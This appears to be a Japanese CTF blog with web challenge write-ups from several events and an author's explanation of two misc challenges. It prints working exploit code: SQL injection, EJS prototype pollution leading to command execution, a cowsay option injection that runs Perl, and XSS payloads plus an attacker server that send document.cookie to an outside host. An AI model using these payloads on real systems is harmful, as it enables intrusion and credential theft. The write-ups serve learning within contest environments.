        'username': 'admin',
        'password': p
    })

    r = client.get('/admin')
    print(r.text)

これを実行するとフラグが得られた。

BHFlagY{c24cf993b088e8f5a7ca004e2bd7ef9b}

[Web 180] Notey (254 solves)

I created a note sharing website for everyone to talk to themselves secretly. Don't try to access others notes, grass isn't greener :'( )

添付ファイル: challenge-files-a507f402-dadb-47d0-b7a3-f237107ae418.zip

メモアプリが与えられている。フラグは admin というユーザに結びついたメモとして格納されているらしい。

function insertAdminNoteOnce(callback) {
  const checkNoteQuery = 'SELECT COUNT(*) AS count FROM notes WHERE username = "admin"';
  const insertNoteQuery = 'INSERT INTO notes(username,note,secret)values(?,?,?)';
  const flag = process.env.DYN_FLAG || "placeholder";
  const secret = crypto.randomBytes(32).toString("hex");

  pool.query(checkNoteQuery, [], (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      callback(err, null);
      return;
    }

    const NoteCount = results[0].count;

    if (NoteCount === 0) {
      pool.query(insertNoteQuery, ["admin", flag, secret], (err, results) => {
        if (err) {
          console.error('Error executing query:', err);
          callback(err, null);
          return;
        }
        console.log(`Admin Note inserted successfully with this secret ${secret}`);
        callback(null, results);
      });
    } else {
      console.log('Admin Note already exists. No insertion needed.');
      callback(null, null);
    }
  });
}

メモには秘密のパスワードが設定されており、そのメモのIDとパスワードを手に入れれば、メモの内容を読むことができる。

function getNoteById(noteId, secret, callback) {
  const query = 'SELECT note_id,username,note FROM notes WHERE note_id = ? and secret = ?';
  console.log(noteId,secret);
  pool.query(query, [noteId,secret], (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      callback(err, null);
      return;
    }
    callback(null, results);
  });
}

JavaScript製のWebアプリだけれども、mysql というライブラリが使われている。

const mysql = require('mysql');
const crypto=require('crypto');


const pool = mysql.createPool({
  host: '127.0.0.1',
  user: 'ctf',
  password: 'redacted',
  database: 'CTF',
  waitForConnections: true,
  connectionLimit: 10,
  queueLimit: 0
});

middlewares.js では、ユーザから与えられたいろいろなパラメータのバリデーションがなされている。一部では文字列かどうかのチェックもされている。

const auth = (req, res, next) => {
    ssn = req.session
    if (ssn.username) {
        return next();
    } else {
        return res.status(401).send('Authentication required.');
    }
};


const login = (req,res,next) =>{
    const {username,password} = req.body;
    if ( !username || ! password )
    {
        return res.status(400).send("Please fill all fields");
    }
    else if(typeof username !== "string" || typeof password !== "string")
    {
        return res.status(400).send("Wrong data format");
    }
    next();
}

const addNote = (req,res,next) =>{
    const { content, note_secret } = req.body;
    if ( !content || ! note_secret )
    {
        return res.status(400).send("Please fill all fields");
    }
    else if(typeof content !== "string" || typeof note_secret !== "string")
    {
        return res.status(400).send("Wrong data format");
    }
    else if( !(content.length > 0 && content.length < 255) ||  !( note_secret.length >=8 && note_secret.length < 255) )
    {
        return res.status(400).send("Wrong data length");
    }
    next();
}

module.exports ={
    auth, login, addNote
};

しかしながら、/viewNote では note_idnote_secret というパラメータが文字列であるかどうかは確認されていない。もし文字列以外を投げるとどうなるだろうか。

app.get('/viewNote', middleware.auth, (req, res) => {
    const { note_id,note_secret } = req.query;

    if (note_id && note_secret){
        db.getNoteById(note_id, note_secret, (err, notes) => {
            if (err) {
            return res.status(500).json({ error: 'Internal Server Error' });
            }
            return res.json(notes);
        });
    }
    else
    {
        return res.status(400).json({"Error":"Missing required data"});
    }
});

Flatt Securityさんのブログでstyprさんが以前出していたブログ記事を思い出した。オブジェクトが入ってくることで、SQLの構造が変わってしまうらしい。ということで、似たようなことをやるスクリプトを用意する。

import uuid
import httpx
BASE_URL = 'http://(省略)'
with httpx.Client(base_url=BASE_URL, timeout=300) as client:
    u = str(uuid.uuid4())
    p = str(uuid.uuid4())
    print(u, p)

    client.post('/register', data={
        'username': u,
        'password': p
    })
    print('registered')
    client.post('/login', data={
        'username': u,
        'password': p
    })
    print('logged in')

    r = client.get('/viewNote', params={
        'note_id[note_id]': '1',
        'note_secret[secret]': '1'
    })
    print(r.text)

SELECT note_id,username,note FROM notes WHERE note_id = `note_id` = '1' and secret = `secret` = '1'というようなSQLが実行される。これによって、/viewNote ですべてのメモが得られてしまうわけだ。実行するとフラグが得られた。

BHFlagY{e073c92a6f69ad8a5d051fbe1b91b361}

[Web 270] Fastest Delivery Service (171 solves)

No time for description, I had some orders to deliver : D
Note: The code provided is without jailing, please note that when writing exploits.

添付ファイル: challenge-files-69e055b6-d0b7-440a-a580-067ae4592251.zip

シンプルなUIで発送物の管理ができるシステムらしい。Dockerfile からはランダムなファイル名でフラグが保存されており、したがってRCEなりなんなりでこのファイル名を特定し内容を得る必要があるとわかる。

RUN echo "$FLAG" > '/tmp/flag_'$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 32).txt

コードがなんだか長いけれども、かなり怪しい箇所が見つかる。ここでユーザ名を __proto__ に、addressId を汚染したいプロパティの名前にすることで、Prototype Pollutionができそうだ。ユーザ登録はオープンなので __proto__ というユーザ名でも登録できるし、そんなユーザ名でも問題なく機能が利用できる。

app.post('/address', (req, res) => {
    const { user } = req.session;
    const { addressId, Fulladdress } = req.body;

    if (user && users[user.username]) {
        addresses[user.username][addressId] = Fulladdress;
        users[user.username].address = addressId;
        res.redirect('/login');
    } else {
        res.redirect('/register');
    }
});

では、Prototype PollutionからRCEに持ち込めそうなgadgetは存在しているか。コード中に app.set('view engine', 'ejs'); という記述があり、EJSというテンプレートエンジンが使われているとわかる。また、package.json からはバージョンが3.1.9とわかる。

「ejs prototype pollution 3.1.9」みたいなクエリでググると、いい感じのCVEとPoCが見つかった。めちゃくちゃ見覚えある。Prototype PollutionがEJSから起こせるというのならまだしも、gadgetがあるからとCVE番号が採番されるというのは疑問に思われる。

まあいいや。次のようなスクリプトを用意する。

import httpx

with httpx.Client(base_url='http://(省略)', timeout=60) as client:
    client.post('/register', data={
        'username': '__proto__',
        'password': 'hogehoge',
    })
    client.post('/login', data={
        'username': '__proto__',
        'password': 'hogehoge',
    })

    client.post('/address', data={
        'addressId': 'client',
        'Fulladdress': '1'
    })
    client.post('/address', data={
        'addressId': 'escapeFunction',
        'Fulladdress': 'function(){return process.mainModule.require("child_process").execSync("cat /tmp/flag*").toString()}'
    })
    print(client.get('/').text)

実行するとフラグが得られた。

$ python3 s.py 
<!DOCTYPE html>
<html>
<head>
    <title>Food Delivery Service</title>
</head>
<body>
    <h1>Welcome to the Food Delivery Service</h1>

        <p>Hello, BHFlagY{e1fd716f8c3bcb2bae49158fe64bd468}
!</p>
        <a href="/order">Place an Order</a>
        <a href="/logout">Logout</a>

</body>
</html>
BHFlagY{e1fd716f8c3bcb2bae49158fe64bd468}

AlpacaHack Round 2 (Web) writeup

9/1に6時間だけ開催された。出題された4問すべてを3時間40分56秒で解いて2位。AlpacaHackは新しくできた個人戦のCTFプラットフォームで、定期的に短めのCTFを開催するとのこと。終了後にはいつでも過去問を遊ぶことができる。

AlpacaHack Round 2は定期的に開催されるCTFの第2回で、Arkさんが作問者となってWebカテゴリのみから出題された。第1回はPwnがテーマだったようだけれども、その様子は作問者のptr-yudaiさんのブログ記事を参照されたい。

今回の問題はさすがはArkさんという面白さだったが、Pico Note 1以降の問題で手間取ってしまった。1位のicesfontさんは私より1時間以上も早く全完しており完敗で、悔しい。


[Web 108] Simple Login (84 solves)

A simple login service :)

(問題サーバのURL)

添付ファイル: simple-login.tar.gz

作りがシンプルなのでソースコードの全体を載せる。次のように /login からログインできるシステムがある。フラグは db/init.sql という別ファイルの INSERT INTO flag (value) VALUES ('Alpaca{REDACTED}'); という定義から、flag というテーブルに存在しているとわかる。

SQLの実行時に f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'" と、プレースホルダを使わずユーザ入力をそのまま展開していてSQLiができそうだ。けれども、その直前に if "'" in username or "'" in password' がユーザ名またはパスワードに含まれていないかのチェックがある。素直に ' or 1;# のような文字列をユーザ名に仕込むことでのSQLiはできなそう。

from flask import Flask, request, redirect, render_template
import pymysql.cursors
import os


def db():
    return pymysql.connect(
        host=os.environ["MYSQL_HOST"],
        user=os.environ["MYSQL_USER"],
        password=os.environ["MYSQL_PASSWORD"],
        database=os.environ["MYSQL_DATABASE"],
        charset="utf8mb4",
        cursorclass=pymysql.cursors.DictCursor,
    )


app = Flask(__name__)


@app.get("/")
def index():
    if "username" not in request.cookies:
        return redirect("/login")
    return render_template("index.html", username=request.cookies["username"])


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")

        if username is None or password is None:
            return "Missing required parameters", 400
        if len(username) > 64 or len(password) > 64:
            return "Too long parameters", 400
        if "'" in username or "'" in password:
            return "Do not try SQL injection 🤗", 400

        conn = None
        try:
            conn = db()
            with conn.cursor() as cursor:
                cursor.execute(
                    f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
                )
                user = cursor.fetchone()
        except Exception as e:
            return f"Error: {e}", 500
        finally:
            if conn is not None:
                conn.close()

        if user is None or "username" not in user:
            return "No user", 400

        response = redirect("/")
        response.set_cookie("username", user["username"])
        return response
    else:
        return render_template("login.html")

いかにSQLの構造を壊すか考えている中で、ユーザ名にバックスラッシュを仕込むことを思いついた。ユーザ入力が展開された後のSQLは SELECT * FROM users WHERE username = '\' AND password = 'password' というような構造になるけれども、エスケープのお陰で \' AND password = までがひとつの文字列として扱われ、パスワードの部分は文字列から抜け出すことができている。パスワードとして本命のペイロードを仕込めばよいだろう。

あとは flag テーブルの内容を取ってくるだけだ。ご丁寧にもログイン後のページでどのユーザでログインしたか表示してくれるから、UNION を使ってユーザ名としてフラグを表示させればよろしい。

import httpx
with httpx.Client(base_url='http://(省略)/', timeout=60) as client:
    r = client.post('/login', data={
        'username': '\\',
        'password': ' union select value, 1 from flag;#'
    })
    print(r.text)
    r = client.get('/')
    print(r.text)

実行するとフラグが得られた。

$ python3 s.py
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/">/</a>. If not, click the link.

<!DOCTYPE html>
<html>
  <head>
    <link
      rel="stylesheet"
      href="https://cdn.jsdelivr.net/npm/@picocss/pico@2/css/pico.classless.min.css"
    />
    <title>Simple Login</title>
  </head>
  <body>
    <main>
      <h1>Simple Login</h1>
      <p>Hello, Alpaca{<redacted>}</p>
      <marquee scrollamount="16" direction="right">
        Logged in successfully🎉
      </marquee>
    </main>
  </body>
</html>

[Web 277] Pico Note 1 (10 solves)

The template engine is very simple but powerful 🔥

(問題サーバのURL)

(Admin botのURL)

添付ファイル: pico-note-1.tar.gz

Admin botがおり、XSSのようにクライアント側でなにかやる問題なのだろうと思う。botのコードの主要な部分は次の通り。document.cookie を外部に送信させれば勝ちらしい。

  try {
    const page = await context.newPage();
    await page.setCookie({
      name: "FLAG",
      value: FLAG,
      domain: APP_HOST,
      path: "/",
    });
    await page.goto(url, { timeout: 3 * 1000 });
    await sleep(5 * 1000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

攻撃対象のWebアプリは次のような感じ。普通のメモアプリで、タイトルや内容を設定して送信すると、/note?title=a&content=b のようなURLに遷移してその内容が表示される。

サーバ側のコードは次の通り。nonce-basedなCSPを設定している点、独自のテンプレートエンジンを作り使っている点が気になる。

import Fastify from "fastify";
import crypto from "node:crypto";
import { promises as fs } from "node:fs";

const app = Fastify();
const PORT = 3000;

// A simple template engine!
const render = async (view, params) => {
  const tmpl = await fs.readFile(`views/${view}.html`, { encoding: "utf8" });
  const html = Object.entries(params).reduce(
    (prev, [key, value]) => prev.replace(`{{${key}}}`, value),
    tmpl
  );
  return html;
};

app.addHook("onRequest", (req, res, next) => {
  const nonce = crypto.randomBytes(16).toString("hex");
  res.header("Content-Security-Policy", `script-src 'nonce-${nonce}';`);
  req.nonce = nonce;
  next();
});

app.get("/", async (req, res) => {
  const html = await render("index", {});
  res.type("text/html").send(html);
});

app.get("/note", async (req, res) => {
  const title = String(req.query.title);
  const content = String(req.query.content);

  const html = await render("note", {
    nonce: req.nonce,
    data: JSON.stringify({ title, content }),
  });
  res.type("text/html").send(html);
});

app.listen({ port: PORT, host: "0.0.0.0" });

ユーザ入力が展開される先の note.html は次の通り。JS内への展開ということで容易にXSSができそうに思えるけれども、残念ながらそう簡単ではない。ユーザ入力は JSON.stringify に通されており、たとえばタイトルにダブルクォートを入れても const { title, content } = {"title":"\"","content":"b"}; のようにエスケープされてしまう。ならばと </script> をタイトル等に入れて script から脱出したとしても、nonceのせいで新たに script 要素を作っても実行されず、HTML Injectionで止まってしまう。

    <script nonce="{{nonce}}">
      const { title, content } = {{data}};
      document.getElementById("title").textContent = title;
      document.getElementById("content").textContent = content;

      document.getElementById("back").addEventListener("click", () => history.back());
    </script>

テンプレートエンジンの実装は次の通り。{{data}}{{nonce}} といったものを置換してくれるようだ。ではユーザ名に </script><script nonce={{nonce}}>…</script> を仕込めばいい感じにnonceを置換してくれるのでは? と思ってしまうが、そうはいかない。ここで String.prototype.replace で置換が行われているけれども、こいつは第1引数に単純な文字列を渡した場合には一度しか置換されない。たとえば、'aaa'.replace('a', 'b') を実行してみると baa という文字列になる。

// A simple template engine!
const render = async (view, params) => {
  const tmpl = await fs.readFile(`views/${view}.html`, { encoding: "utf8" });
  const html = Object.entries(params).reduce(
    (prev, [key, value]) => prev.replace(`{{${key}}}`, value),
    tmpl
  );
  return html;
};

文字コードの問題かなあと思うものの、ちゃんと <meta charset="UTF-8" /> と指定されているし、HTML Injectionも含め JSON.stringify でエスケープされる範囲内でなにかやるのかなあと思うものの、何も悪用できそうなテクニックが思い浮かばない。

ふと、String.prototype.replace では第2引数において $'$& といった特殊な文字列を指定することで、それらがマッチした部分文字列等に置換されることを思い出した。試しに abc</script>$`def をメモの内容として入力してみると、次のようにいい感じに「一致した部分文字列の直前の文字列の部分」が展開された。nonceを含む <script> タグも再び出力させることができている。def の部分をちょっと細工するとJSコードとして正しい形にできそうだ。

    <script nonce="47f99c10e80174d5ed2278f00277329a">
      const { title, content } = {"title":"a","content":"abc</script><!DOCTYPE html><script nonce="47f99c10e80174d5ed2278f00277329a">
      const { title, content } = def"};

ということで、http://web:3000/note?title=a&content=%3C/script%3E$`123;(new Image).src=[`https://…?`,document.cookie]%3C/script%3E というようなURLを通報するとフラグが得られた。

[Web 248] CaaS (13 solves)

🐮📢 < Hello!

(問題サーバのURL)

添付ファイル: caas.tar.gz

Cowsay as a Serviceの略でCaaSらしい。適当なメッセージを入力すると、cowsay コマンドによってそれを牛に喋らせることができる。以前同じようなテーマの問題を見たことがあるが、一度忘れて取り組むことにする。

コードは非常にシンプルで、次の通り。zxcowsay に喋らせているだけらしい。

import express from "express";
import crypto from "node:crypto";
import { $ } from "zx";

const app = express();
const PORT = 3000;

app.use(express.static("public"));

app.get("/say", async (req, res) => {
  const { message = "Hello!" } = req.query;

  try {
    const uuid = crypto.randomUUID();
    await $({
      cwd: "public/out",
      timeout: "2s",
    })`/usr/games/cowsay ${message} > ${uuid}`;
    res.send({ uuid });
  } catch ({ exitCode }) {
    res.status(500).send(exitCode ? "error" : "timeout");
  }
});

app.listen(PORT);

まずOSコマンドインジェクションを考えてしまうけれども、zxは賢いのでテンプレート文字列の仕様を使っていい感じにエスケープ等をしてくれ、$(ls) やら ; ls; やらといった悪そうな文字列を投げても何も起こらない。

ならば、オプションのインジェクションはできないかと考える。コンテナに入って cowsay のオプションを見てみると、何やらいろいろありそうだとわかる。この中でも -f というのがファイルを読み込みそうで気になる。

I have no name!@dad173aa9f35:/app$ /usr/games/cowsay -h
cow{say,think} version 3.03, (c) 1999 Tony Monroe
Usage: cowsay [-bdgpstwy] [-h] [-e eyes] [-f cowfile]
          [-l] [-n] [-T tongue] [-W wrapcolumn] [message]

cowsayのソースコードを確認すると、-f で指定したファイルを do $full によってPerlコードとして読み込み実行している様子がわかる。ユーザがその内容を操作できるファイルがあれば、それを指定することでRCEに持ち込めそうだ。とりあえず、-f オプションを仕込むことができるか -f/etc/passwd を入力して確認してみると、いい感じに /etc/passwd がPerlコードとして実行されていることがコンテナのログからわかる。

web-1  | cowsay: syntax error at /etc/passwd line 1, near "0:"
web-1  | Unknown regexp modifier "/b" at /etc/passwd line 1, at end of line
web-1  | Unknown regexp modifier "/r" at /etc/passwd line 1, at end of line
web-1  | Unknown regexp modifier "/r" at /etc/passwd line 1, at end of line
web-1  | Unknown regexp modifier "/r" at /etc/passwd line 2, at end of line
web-1  | Unknown regexp modifier "/r" at /etc/passwd line 3, at end of line
web-1  | Unknown regexp modifier "/b" at /etc/passwd line 4, at end of line
web-1  | Unknown regexp modifier "/r" at /etc/passwd line 4, at end of line
web-1  | Unknown regexp modifier "/r" at /etc/passwd line 4, at end of line
web-1  | Unknown regexp modifier "/h" at /etc/passwd line 5, at end of line
web-1  | /etc/passwd has too many errors.

では、「ユーザがその内容を操作できるファイル」はどこにあるだろうか。/proc/self/cmdline をまず考えてしまうけれども、初っ端から /usr/games/cowsay とPerlコードとしてダメで、それ以降の引数での調整もできない。/proc/<pid>/fd/<fd> もいい感じのfdが見つからない。

ふと、この問題では cowsay の実行結果が /usr/games/cowsay ${message} > ${uuid} とファイルに書き出されていることを思い出した。cowsay の実行結果がPerlのコードとして有効なものになるようにし、それが吐き出されたファイルを -f オプションで指定すればよいのではないか。

cowsay の出力は以下のようになっており、Perlコードとしては、-------- 以降が非常に邪魔だ。しかしながら、Perlでは __END__ というようなトークンを指定することで、そこまでがPerlコードである(以降はコードではない)と指定することができる*1。これを使おう。

 ________
< Hello! >
 --------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

最終的に、次のようなコードでフラグが得られた。

import httpx
with httpx.Client(base_url='http://(省略)') as client:
    u = client.request('GET', '/say', params={
        'message': 'system("cat /flag*"); __END__',
    }).json()['uuid']
    r = client.get(f'/out/{u}')
    print(r.text)

    u = client.request('GET', '/say', params={
        'message': f'-f/app/public/out/{u}',
    }).json()['uuid']
    r = client.get(f'/out/{u}')
    print(r.text)
$ python3 ../s.py
 _______________________________
< system("cat /flag*"); __END__ >
 -------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Alpaca{<redacted>}
 __
<  >
 --

[Web 428] Pico Note 2 (3 solves)

How many note applications have I created for CTFs so far? This is one of them.

(問題サーバのURL)

(Admin botのURL)

添付ファイル: pico-note-2.tar.gz

Pico Note 1の続編のようだけれども、見た目は似ているが中身は全然異なる。Admin botのコードはわざわざ載せないけれどもほぼ同じで、今回も document.cookie を盗み出せばよい。まずサーバ側のコードは次の通り。今回はnonceに加えてスクリプトのハッシュ値もCSPで指定されるようになっている。

import express from "express";
import expressSession from "express-session";
import ejs from "ejs";
import { JSDOM } from "jsdom";
import crypto from "node:crypto";
import fs from "node:fs";

const app = express();
const PORT = 3000;

app.set("view engine", "ejs");

app.use(
  expressSession({
    secret: crypto.randomBytes(32).toString("base64"),
    resave: false,
    saveUninitialized: false,
  })
);

app.use(express.urlencoded({ extended: true }));

const getIntegrity = (content) => {
  const algo = "sha256";
  const value = crypto
    .createHash(algo)
    .update(Buffer.from(content))
    .digest()
    .toString("base64");
  return `${algo}-${value}`;
};

app.use((req, res, next) => {
  const notes = req.session.notes ?? [];
  res.locals.notes = notes;

  const hashSource = notes
    .map((note) => `'${getIntegrity(JSON.stringify(note))}'`)
    .join(" ");

  const nonce = crypto.randomBytes(16).toString("base64");
  res.header(
    "Content-Security-Policy",
    `script-src 'nonce-${nonce}' ${hashSource};`
  );
  res.locals.nonce = nonce;

  next();
});

const SCRIPTS_TMPL = `
<div id="scripts">
  <% for (const note of notes) { %>
    <% const json = JSON.stringify(note); %>
    <script type="application/json" integrity="<%= getIntegrity(json) %>"><%- json %></script>
  <% } %>
</div>
`.trim();

app.get("/", (req, res) => {
  const scripts = new JSDOM(
    ejs.render(SCRIPTS_TMPL, {
      notes: res.locals.notes,
      getIntegrity,
    })
  ).window.scripts?.innerHTML;

  res.render("index", { scripts });
});

app.post("/create", (req, res) => {
  const notes = res.locals.notes;
  notes.push(req.body);
  req.session.notes = notes;
  res.redirect("/");
});

app.get("/app.js", (req, res) => {
  const js = fs.readFileSync("app.js");
  res.type("text/javascript").send(js);
});

app.listen({ port: PORT, host: "0.0.0.0" });

適当にメモを作成してみると、次のように type="application/json" と指定された <script> タグとしてメモの情報が埋め込まれていることがわかる。もちろん、ここで "> のように指定してもHTML Injectionすらできない。

    <script type="application/json" integrity="sha256-tKw076UDBQoF5jAEqLOJNI15Gk4BaBkJgcBFrFLsigw=">{"title":"a","content":"b"}</script>
    
    <script type="application/json" integrity="sha256-VgFWsr2gwfzNUJmJw5BFkuxgF8fLD4JUQi/eXYTa4QU=">{"title":"c","content":"d"}</script>

    <script type="module" src="/app.js" nonce="Tk7Cl1/AGD8hRdN9PTyTzQ=="></script>

これらのJSONは /app.js によって描画される。その中身は次の通りで、type 属性が application/json である script 要素を取ってきて、それぞれJSONとしてパースした上で、その中身を表示している。ここでDOMPurifyが使われており、またそのバージョンも3.1.6と2024-09-01時点で最新のものでバイパスはできないように思える。

import DOMPurify from "https://cdn.jsdelivr.net/npm/dompurify@3.1.6/+esm";

const elements = document.querySelectorAll("script[type='application/json']");

for (const elm of elements) {
  const { title, content } = JSON.parse(elm.textContent);
  document.body.innerHTML += DOMPurify.sanitize(
    `
      <div class="nes-container is-dark with-title">
        <p id="title" class="title">${title}</p>
        <p id="content">${content}</p>
      </div>
    `.trim()
  );
}

ではどうするか。とりあえず怪しそうなところから見ていく。まず GET / においてEJSでテンプレートのレンダリングが行われているわけだけれども、わざわざjsdomを使いその innerHTML にアクセスしている。その必要性はないのではないか。

const SCRIPTS_TMPL = `
<div id="scripts">
  <% for (const note of notes) { %>
    <% const json = JSON.stringify(note); %>
    <script type="application/json" integrity="<%= getIntegrity(json) %>"><%- json %></script>
  <% } %>
</div>
`.trim();

app.get("/", (req, res) => {
  const scripts = new JSDOM(
    ejs.render(SCRIPTS_TMPL, {
      notes: res.locals.notes,
      getIntegrity,
    })
  ).window.scripts?.innerHTML;

  res.render("index", { scripts });
});

window.scripts でその中の id 属性が scripts である div を指定しているけれども、なぜ document.getElementByIdquerySelector を使わないのだろうか。DOM Clobberingに脆弱ではないか。

ここでユーザ入力が展開されているわけだが、<%- json -> による展開であるので <> といった文字のエスケープはなされない。したがってHTML Injectionができる。</script><div id=scripts></div> のようにして、window.scripts が複数の要素が含まれることを意味する HTMLCollection を返すようになった。

HTMLCollection には innerHTML は存在しないので undefined が返ってきてしまう。なんとかできないかと考えて、</script><div id=scripts><div id=scripts name=innerHTML>aaa</div></div> のようにすることで、window.scripts.innerHTML が内側の div 要素ただひとつを意味するようになることに気づいた。

ここで HTMLDivElement でなく HTMLAnchorElement を返させることで、文字列化された際にほかの要素のように [object HTMLDivElement] という何にも使えない文字列でなく、その href 属性を返させることができる。これをメモのタイトルとして投稿すると、HTML Injectionできた。

    cid:a<s>poyo</s>a
    <script type="module" src="/app.js" nonce="BlD9zSvjBtqC2QlX+EbBiA=="></script>

HTML InjectionからXSSに持ち込むにはどうすればよいか。保存されているメモのハッシュ値がいちいちCSPに追加されることから、JavaScriptコードとして有効なオブジェクトを req.session.notes に追加させればよいのではないかと考えた。しかしながら、app.use(express.urlencoded({ extended: true })); ということでどうしてもオブジェクトになってしまう。文字列化されると {"hoge":"fuga"} のようになってしまい、これではJSとして有効でない。req.body を配列等にできないかと考えるが、ダメだった。

ふと、今回CSPで指定されているのは script-src だけだから、ほかの何かが使えないかと考える。そういえば、HTML Injectionできる箇所より後ろで /app.js が読み込まれており、またこれは integirty 属性ではなく nonce 属性が使われていたのだった。base-src ディレクティブは指定されてないから、base 要素が使える。これで、自分のサーバにある /app.js を読み込ませることができる。

以下のようなPythonスクリプトとHTMLを用意する。

# main.py
from flask import Flask, make_response

app = Flask(__name__)

@app.route('/app.js', methods=['GET'])
def appjs():
    resp = make_response('(new Image).src=["https://…?", document.cookie]')
    resp.headers['Access-Control-Allow-Origin'] = '*'
    resp.headers['Content-Type'] = 'application/javascript'
    return resp

@app.route('/', methods=['GET'])
def index():
    return open('index.html').read()

app.run(port=8000, host='0.0.0.0')
<!-- index.html -->
<body>
    <form method="POST" action="http://web:3000/create" id="form">
        <input type="text" id="title" name="title">
        <input type="text" name="content" value="a">
    </form>
    <script>
document.getElementById('title').value = `<\/script><div id=scripts><a href='cid:a<base href=//(省略):8000/index.php></base>a' id=scripts name=innerHTML>aaa</a></div>`
document.getElementById('form').submit();
    </script>
</body>

これを通報すると、フラグが得られた。

*1:akictf等のためにPerlを少し勉強した記憶から思いついた

SatokiCTF 2024で出題した問題の解説

2024年8月25日から2024年8月26日にかけて、Satokiさん主催でSatokiCTF 2024が開催されました。Satokiさんの誕生日を記念しての開催ということで、おめでとうございます。

SatokiCTF 2024は「複数人で協力してSatokiを倒す (全完する) レイドバトル形式」と銘打ったCTFで、奇抜な問題だったり極端な難易度の問題だったりが出題されていたほか、ルール上「他の参加者の競技を妨害する行為」以外は許可されており、たとえばチーム間での協力や開催中のYouTube等でのライブ配信すら許されていました。たとえば、以下のような配信がありました:

このCTFに3問の問題(と賞品としてSteamのプリペイドカード5,000円分 *1 )を提供しましたので、作問者の視点で想定していた解法やその意図を紹介したいと思います。なお、今回出題した問題については、GitHubリポジトリで公開しています。


[Misc 100] HBD (19 solves, warmup)

Apache HTTP Serverにも誕生日を祝わせることでフラグが得られます。

添付ファイル: hbd.zip

添付ファイルを展開してソースコードを確認していきます。compose.yml は次の通りです。proxy というコンテナの裏に、Apache HTTP Serverが動いている apache というコンテナがいるという構成に見えます。フラグは proxy が持っているようです。なお、apache には設定ファイルどころかHTMLも含め、どのようなファイルも渡されていません。

services:
  proxy:
    build: proxy
    ports:
      - "8848:8000"
    depends_on:
      - apache
    environment:
      - FLAG=flag{dummy}
  apache:
    image: httpd:2.4

proxy/main.go は次のとおりです。リバースプロキシのようで、proxy を通して apache にアクセスできるというような構造になっていることがわかります。

また、modify という関数で apache から返ってきたレスポンスを改変しており、もし HBD!Satoki! というバイト列がレスポンスボディに含まれていれば、代わりにフラグをレスポンスとして返すことがわかります。しかしながら、先程見たように apache はデフォルトの設定そのままでデプロイされています。どうすればよいでしょうか。

package main

import (
    "bytes"
    "io"
    "net/http"
    "net/http/httputil"
    "net/url"
    "strconv"
    "os"
)

func getFlag() string {
    v := os.Getenv("FLAG")
    if len(v) == 0 {
        return "flag{dummy}"
    }
    return v
}

func modify(r *http.Response) error {
    body, err := io.ReadAll(r.Body)
    if err != nil {
        return err
    }

    var b []byte
    if bytes.Contains(body, []byte("HBD!Satoki!")) {
        b = []byte(getFlag())       
    } else {
        b = body
    }

    r.Body = io.NopCloser(bytes.NewReader(b))
    r.Header.Set("Content-Length", strconv.Itoa(len(b)))

    return nil
}

func main() {
    url, _ := url.Parse("http://apache")
    proxy := httputil.NewSingleHostReverseProxy(url)
    proxy.ModifyResponse = modify
    http.ListenAndServe(":8000", proxy)
}

Apache HTTP Serverは、デフォルトの設定でユーザから与えられた入力をそのまま出力するような機能を持っていないでしょうか。実は、リクエスト先のページが与えられたメソッドに対応していない場合、そのメソッド名が出力されます。英小文字や記号も受け付けます。

# curl localhost -X "Poyo!"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>501 Not Implemented</title>
</head><body>
<h1>Not Implemented</h1>
<p>Poyo! not supported for current URL.<br />
</p>
</body></html>

これを利用して、HBD!Satoki! をメソッド名として指定することでフラグが得られました。

$ curl localhost:8848 -X 'HBD!Satoki!'
flag{tanjobi_anata_8ae01c4e}

first bloodはkoufu193さんでした。おめでとうございます。

フラグは誕生日からの連想でアリス・カータレットです。Satokiさんが作るような感じの変なMisc問がほしいな~と思い作ったものです。結果的にはあまり変な問題にはならなかったと思います。

[Misc 100] zzz (21 solves, warmup)

朝起きて 歯を磨いて あっという間 午後10時

sshpass -p ctf ssh ctf@(問題サーバのホスト名) -p 22222

ヒント:

SFTPやSCP, ポートフォワーディングといったSSHに関連する機能は、解くためには必要ありません。
なにかシンプルな方法で sleep infinity を終了させられないでしょうか。

添付ファイル: zzz.zip

添付ファイルを展開してソースコードを確認していきます。compose.yml は次の通りです。zzz というひとつのサービスだけが動いているようです。

services:
  zzz:
    build: .
    ports:
      - "22222:5000"
    init: true

Dockerfile は次の通りです。SSHで接続すると、シェルの代わりに /app/zzz.sh が実行されるようです。

FROM ubuntu:22.04

ENV DEBIAN_FRONTEND noninteractive

RUN apt-get update && apt-get -y install openssh-server

# thanks to https://github.com/SECCON/SECCON2022_online_CTF/blob/46742099d094a69c214f35498718b5c9ba900b26/misc/txtchecker/build/Dockerfile#L10
WORKDIR /app

RUN groupadd -r ctf && useradd -m -r -g ctf ctf
RUN echo "ctf:ctf" | chpasswd

RUN echo 'ForceCommand "/app/zzz.sh"' >> /etc/ssh/sshd_config
RUN echo 'Port 5000' >> /etc/ssh/sshd_config
RUN mkdir /var/run/sshd

COPY flag.txt /
COPY zzz.sh /app/

RUN chmod 444 /flag.txt
RUN chmod 555 /app/zzz.sh

CMD /sbin/sshd -D

zzz.sh は次の通りです。最後に cat /flag.txt とフラグを表示する処理があるものの、その前に sleep infinity と永遠に sleep する処理があります。なんとかしてこの sleep から脱出できないでしょうか。

#!/bin/bash
echo "I'm going to sleep for a while. I will give you the flag when I wake up. Oyasumi!"
sleep infinity
cat /flag.txt

まず考えるのは Ctrl + CCtrl + Z ですが、コネクションが切断されてしまったり、そもそも無反応だったりします。

$ sshpass -p ctf ssh ctf@localhost -p 22222
I'm going to sleep for a while. I will give you the flag when I wake up. Oyasumi!
^CConnection to localhost closed.
$ sshpass -p ctf ssh ctf@localhost -p 22222
I'm going to sleep for a while. I will give you the flag when I wake up. Oyasumi!
